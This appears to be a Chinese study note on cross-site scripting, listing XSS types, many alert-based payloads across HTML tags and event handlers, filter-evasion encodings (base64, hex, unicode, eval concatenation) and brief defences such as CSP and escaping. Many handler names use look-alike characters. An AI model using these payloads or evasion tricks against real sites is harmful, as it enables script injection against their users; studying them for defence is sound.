XSS基础知识整理

跨站脚本攻击

##### 反射型

* 通过输入将脚本嵌入到页面中造成弹窗;一次性的
##### 存储型

* 原理同反射型;但是输入的内容会保存到数据库中;每次访问都会加载;持续性的
##### DOM型(DOM是一种html文本存储结构,方便对html节点进行处理,前端)

*

  ###### 组成

  * 元素节点:标签

  <!-- -->

  * 文本节点:标签输出的内容

  <!-- -->

  * 属性节点:标签样式设置

<!-- -->

*

  ###### 前端存储的js脚本利用DOM结构来管理页面元素、内容和属性(本地处理)

<!-- -->

*

  ###### 页面展示无需后端数据

<!-- -->

*

  ###### DOM中可能存在xss的属性(从url中获取信息导致)

  * document.referer属性

  <!-- -->

  * location属性

  <!-- -->

  * [window.name](http://window.name/ "window.name")属性

  <!-- -->

  * innerHTML属性

  <!-- -->

  * document.write属性

弹窗方式

  • alert(I);
    • 警告框;阻塞函数;只有一个确认按钮;
  • confirm()
    • 指定消息内容的弹窗;有确认和取消按钮;可以接收返回值
  • prompt()

    • 带有提示内容和输入框的弹窗;含有确认和取消按钮
    • 确认时返回用户输入的内容;取消时返回null

编码方式

  • url编码:
  • html实体编码
  • js编码(unicode编码)

xss注入方法(重点掌握其中的方法和书写格式)

##### 图片

*

  ###### onerror (图片加载错误时触发)

  * \<img src="x" οnerrοr=alert(1)\>

  <!-- -->

  * \<img src='1' οnerrοr=eval("alert('xss')")\>

<!-- -->

*

  ###### 字符拼接(利用eval)

  * \<img src="x" οnerrοr="a=aler;b=t;c='(xss);';eval(a+b+c)"\>

<!-- -->

*

  ###### 字符拼接(利用top)

  * \<script\>top\["al"+"ert"\](\`\`xss\`\`);\</script\>(只有两个\`\`这里是为了凸显出有\`符号)

<!-- -->

*

  ###### 编码绕过(了解方法和书写格式)

  *

    ###### 编码unicode绕过

    * \<img src="x" οnerrοr="alert("xss");"\>

    <!-- -->

    * \<img src="x" οnerrοr="eval('\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0022\\u0078\\u0073\\u0073\\u0022\\u0029\\u003b')"\>

  <!-- -->

  *

    ###### url编码绕过

    * \<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"\>

    <!-- -->

    * \<img src="x" οnerrοr=document.location=\`\`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/\`\`\>

  <!-- -->

  *

    ###### ascii编码

    * \<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"\>

  <!-- -->

  *

    ###### hex编码

    * \<img src=x οnerrοr=eval('\\x61\\x6c\\x65\\x72\\x74\\x28\\x27\\x78\\x73\\x73\\x27\\x29')\>

  <!-- -->

  *

    ###### 八进制编码

    * \<img src=x οnerrοr=alert('\\170\\163\\163')\>

  <!-- -->

  *

    ###### base64编码

    * \<img src="x" οnerrοr="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"\>
##### 事件触发函数(input标签常用)

* onmouseover
  * 鼠标移过到元素时触发

<!-- -->

* onmouseout
  * 鼠标移出元素时触发

<!-- -->

* onclick
  * 单击触发

<!-- -->

* onmousedown
  * 元素上鼠标按下时触发

<!-- -->

* onmouseup
  * 鼠标抬起时触发

<!-- -->

* oncontextmenu
  * 在元素上按下鼠标右键时触发

<!-- -->

* onfocus
  * 获取焦点时触发(选中触发)

  <!-- -->

  * \<input οnfοcus="alert('xss');"\>

  <!-- -->

  * 自动将焦点锁定到元素身上 autofocus
    * \<input οnfοcus="alert('xss');" autofocus\>

<!-- -->

* onblur
  * 失去焦点时触发

  <!-- -->

  * \<input οnblur="alert('xss');"\>

  <!-- -->

  * 竞争焦点,从而触发
    * \<input οnblur=alert("xss") autofocus\>\<input autofocus\>

<!-- -->

* onfocusin
  * 即将获取焦点时触发

  <!-- -->

  * \<input οnfοcusin="alert('xss');"\>

<!-- -->

* onfocusout
  * 即将失去焦点时触发

  <!-- -->

  * \<input οnfοcusοut="alert('xss');"\>

<!-- -->

* onkeydown
  * 键盘按下按键时触发

  <!-- -->

  * \<input type="text" οnkeydοwn="alert(1)"\>

<!-- -->

* onkeypress
  * 键盘按下时触发

<!-- -->

* onkeyup
  * 键盘按键抬起时触发

<!-- -->

* onload
  * 页面加载时触发;用在某些引入外部资源的标签中

<!-- -->

* 
##### a标签

* \<a href="跳转目的地的链接"\>内容\</a\>

<!-- -->

* \<a href=javascript:alert('xss')\>test\</a\>

<!-- -->

* \<a href="javascript:a" οnmοuseοver="alert(/xss/)"\>aa\</a\>

<!-- -->

* \<a href="" οnclick=alert('xss')\>a\</a\>

<!-- -->

* \<a href="" οnclick=eval(alert('xss'))\>aa\</a\>

<!-- -->

* \<a href="" οnfοcus=alert('xss')\>a\</a\>

<!-- -->

* \<a href=kycg.asp?ttt=1000 οnmοuseοver=prompt('xss') y=2016\>aa\</a\>
##### from标签

* 创建一个表单

<!-- -->

* \<form action=javascript:alert('xss') method="get"\>

<!-- -->

* \<form action=javascript:alert('xss')\>

<!-- -->

* \<form method=post action=aa.asp? οnmοuseοver=prompt('xss')\>

<!-- -->

* \<form method=post action=aa.asp? οnmοuseοver=alert('xss')\>

<!-- -->

* \<form action=1 οnmοuseοver=alert('xss)\>

<!-- -->

* \<form method=post action="data:text/html;base64,\<script\>alert('xss')\</script\>"\>

<!-- -->

* \<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="\>
##### \<iframe\>标签

* 创建一个内联框架显示引入的外部网站的信息;引入网站内容会嵌入当前页面

<!-- -->

* \<iframe οnlοad=alert("xss");\>\</iframe\>

<!-- -->

* \<iframe src=javascript:alert('xss')\>\</iframe\>

<!-- -->

* \<iframe src="data:text/html,\&lt;script\&gt;alert('xss')\&lt;/script\&gt;"\>\</iframe\>

<!-- -->

* \<iframe src="data:text/html;base64,\<script\>alert('xss')\</script\>"\>

<!-- -->

* \<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="\>

<!-- -->

* \<iframe src="aaa" οnmοuseοver=alert('xss') /\>\<iframe\>

<!-- -->

* \<iframe src="javascript\&colon;prompt\&lpar;\`\`xss\`\`\&rpar;"\>\</iframe\>(\`\`\`\`只有两个\`\`)
##### svg标签

* 矢量图形标签

<!-- -->

* \<svg οnlοad=alert(1)\>

<!-- -->

* 括号被过滤时可用throw
  * \<svg/οnlοad="window.οnerrοr=eval;throw'=alert\\x281\\x29';"\>
##### body

* 主标签;

<!-- -->

* \<body οnlοad="alert(1)"\>

<!-- -->

* 利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
  * \<body οnscrοll=alert("xss");\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<input autofocus\>
##### button

* \<button οnclick="alert(1)"\>text\</button\>
##### p标签

* \<p οnmοusedοwn="alert(1)"\>text\</p\>

<!-- -->

* \<p οnmοuseup="alert(1)"\>text\</p\>
##### details标签

* 规定一些用户需求的细节;open属性规定是否可见

<!-- -->

* 详解:[HTML \<details\> 标签 \| 菜鸟教程 (runoob.com)](https://www.runoob.com/tags/tag-details.html "HTML <details> 标签 | 菜鸟教程 (runoob.com)")

<!-- -->

* ontoggle:details标签打开或关闭时触发

<!-- -->

* \<details οntοggle="alert('xss');"\>

<!-- -->

* 使用open属性触发,不需手动
  * \<details open οntοggle="alert('xss');"\>
##### select

* 创建下拉列表选项

<!-- -->

* \<select οnfοcus=alert(1)\>\</select\>

<!-- -->

* \<select οnfοcus=alert(1) autofocus\>

<!-- -->

* \<option\>属于该标签的下属;设置具体选项内容;可以用\</select\>进行闭合
##### video

* 创建一个视频框用于播放视频;视频文件需引入

<!-- -->

* \<video\>\<source οnerrοr="alert(1)"\>

<!-- -->

* \<video src οnerrοr="javascript:window.οnerrοr=alert;throw 1"\>
##### audio

* 音频标签

<!-- -->

* \<audio src=x οnerrοr=alert("xss");\>
##### textarea

* 区域文本标签;如评论区

<!-- -->

* \<textarea οnfοcus=alert("xss"); autofocus\>
##### keygen

* 表单的密钥对生成器标签;html5新加

<!-- -->

* \<keygen autofocus οnfοcus=alert(1)\> //仅限火狐
##### marquee

* 已废弃;插入文本的容器;

<!-- -->

* \<marquee onstart=alert("xss")\>\</marquee\> //Chrome不行,火狐和IE都可以
##### isindex

* 已废弃;

<!-- -->

* \<isindex type=image src=1 οnerrοr=alert("xss")\>//仅限于IE
##### 利用link远程包含js文件(在无CSP的情况下才可用)

* \<link rel=import href="[http://127.0.0.1/1.js](http://127.0.0.1/1.js "http://127.0.0.1/1.js")"\>
##### expression属性

* \<img style="xss:expression(alert('xss''))"\> // IE7以下

<!-- -->

* \<div style="color:rgb(''�x:expression(alert(1))"\>\</div\> //IE7以下

<!-- -->

* \<style\>#test{x:expression(alert(/XSS/))}\</style\> // IE7以下
##### background属性

* \<table background=javascript:alert(1)\>\</table\> //在Opera 10.5和IE6上有效

a标签(用处很大,所有使用方法如下)

  • 访问图像(链接图片)
  • 链接到电话号码
    • <a href="tel:+8613888888888">+86 138 8888 8888</a>
  • 链接到同一页的另一个部分
    • <a href="#section2">转到第二章</a>
  • 链接到JS代码(重点)
    • <a href="javascript:alert('Hello World!');">执行 JavaScript</a>

防御技巧

##### CSP内容安全策略

* 将合法的域名和资源放到白名单下;禁止非白名单的url跳转和资源加载

<!-- -->

* 详解:[内容安全策略(CSP)详解_(已屏蔽:csp)-CSDN博客](https://blog.csdn.net/qq_37943295/article/details/79978761 "内容安全策略(CSP)详解_(已屏蔽:csp)-CSDN博客")

<!-- -->

* 禁止加载外域代码,防止复杂的攻击逻辑。

<!-- -->

* 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。

<!-- -->

* 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。

<!-- -->

* 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
##### 前端和后端对输入信息进行严格过滤

* 输入验证+输出编码(代码)

<!-- -->

* waf+数据库安全(硬件)
##### 利用函数对输入信息进行转义(PHP)

* 如利用htmlspecialchars();escape();等函数对输入信息进行转义;

<!-- -->

* 利用substr_replace()函数对敏感字符/字符串进行替换
相关推荐
学习使我快乐012 小时前
JS进阶 3——深入面向对象、原型
开发语言·前端·javascript
bobostudio19952 小时前
TypeScript 设计模式之【策略模式】
前端·javascript·设计模式·typescript·策略模式
黄尚圈圈3 小时前
Vue 中引入 ECharts 的详细步骤与示例
前端·vue.js·echarts
浮华似水4 小时前
简洁之道 - React Hook Form
前端
正小安6 小时前
如何在微信小程序中实现分包加载和预下载
前端·微信小程序·小程序
_.Switch7 小时前
Python Web 应用中的 API 网关集成与优化
开发语言·前端·后端·python·架构·log4j
一路向前的月光7 小时前
Vue2中的监听和计算属性的区别
前端·javascript·vue.js
长路 ㅤ   7 小时前
vite学习教程06、vite.config.js配置
前端·vite配置·端口设置·本地开发
长路 ㅤ   7 小时前
vue-live2d看板娘集成方案设计使用教程
前端·javascript·vue.js·live2d
Fan_web8 小时前
jQuery——事件委托
开发语言·前端·javascript·css·jquery